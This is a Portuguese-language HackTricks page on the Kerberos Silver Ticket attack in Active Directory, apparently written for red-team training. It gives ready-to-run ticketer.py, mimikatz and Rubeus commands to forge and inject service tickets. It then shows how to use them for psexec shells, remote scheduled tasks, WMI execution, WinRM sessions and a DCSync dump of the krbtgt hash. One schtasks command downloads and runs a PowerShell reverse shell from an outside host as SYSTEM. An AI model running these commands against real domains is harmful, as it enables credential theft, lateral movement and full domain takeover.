hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md

9.1 KiB

Bilhete Silver

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Se você está interessado em uma carreira de hacking e hackear o inhackeável - estamos contratando! (fluência em polonês escrita e falada necessária).

{% embed url="https://www.stmcyber.com/careers" %}

Bilhete Silver

O ataque Bilhete Silver envolve a exploração de tickets de serviço em ambientes de Active Directory (AD). Este método depende da aquisição do hash NTLM de uma conta de serviço, como uma conta de computador, para forjar um Ticket Granting Service (TGS) ticket. Com este ticket forjado, um atacante pode acessar serviços específicos na rede, fazendo-se passar por qualquer usuário, geralmente visando privilégios administrativos. É enfatizado que o uso de chaves AES para forjar tickets é mais seguro e menos detectável.

Para a criação de tickets, diferentes ferramentas são empregadas com base no sistema operacional:

No Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

No Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

O serviço CIFS é destacado como um alvo comum para acessar o sistema de arquivos da vítima, mas outros serviços como HOST e RPCSS também podem ser explorados para tarefas e consultas WMI.

Serviços Disponíveis

Tipo de Serviço Tickets Silver do Serviço
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Dependendo do SO também:

WSMAN

RPCSS

WinRM

HOST

HTTP

Em algumas ocasiões você pode apenas solicitar: WINRM

Tarefas Agendadas HOST
Compartilhamento de Arquivos do Windows, também psexec CIFS
Operações LDAP, incluindo DCSync LDAP
Ferramentas de Administração Remota do Servidor Windows

RPCSS

LDAP

CIFS

Tickets de Ouro krbtgt

Usando Rubeus você pode solicitar todos esses tickets usando o parâmetro:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

IDs de Evento de Tickets Silver

  • 4624: Logon de Conta
  • 4634: Logoff de Conta
  • 4672: Logon de Administrador

Abusando de Tickets de Serviço

Nos exemplos a seguir, vamos imaginar que o ticket é obtido se passando pela conta de administrador.

CIFS

Com este ticket, você poderá acessar as pastas C$ e ADMIN$ via SMB (se estiverem expostas) e copiar arquivos para uma parte do sistema de arquivos remoto apenas fazendo algo como:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Também será possível obter um shell dentro do host ou executar comandos arbitrários usando psexec:

{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HOST

Com essa permissão, você pode gerar tarefas agendadas em computadores remotos e executar comandos arbitrários:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Com esses tickets você pode executar o WMI no sistema da vítima:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Encontre mais informações sobre wmiexec na seguinte página:

{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

Com acesso winrm a um computador, você pode acessá-lo e até mesmo obter um PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Verifique a seguinte página para aprender mais maneiras de se conectar a um host remoto usando winrm:

{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} Note que o winrm deve estar ativo e ouvindo no computador remoto para acessá-lo. {% endhint %}

LDAP

Com esse privilégio, você pode despejar o banco de dados do DC usando DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Saiba mais sobre DCSync na seguinte página:

Referências

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

Se você está interessado em uma carreira de hacking e hackear o inhackeável - estamos contratando! (fluência em polonês escrita e falada necessária).

{% embed url="https://www.stmcyber.com/careers" %}

Aprenda hacking AWS de zero a herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: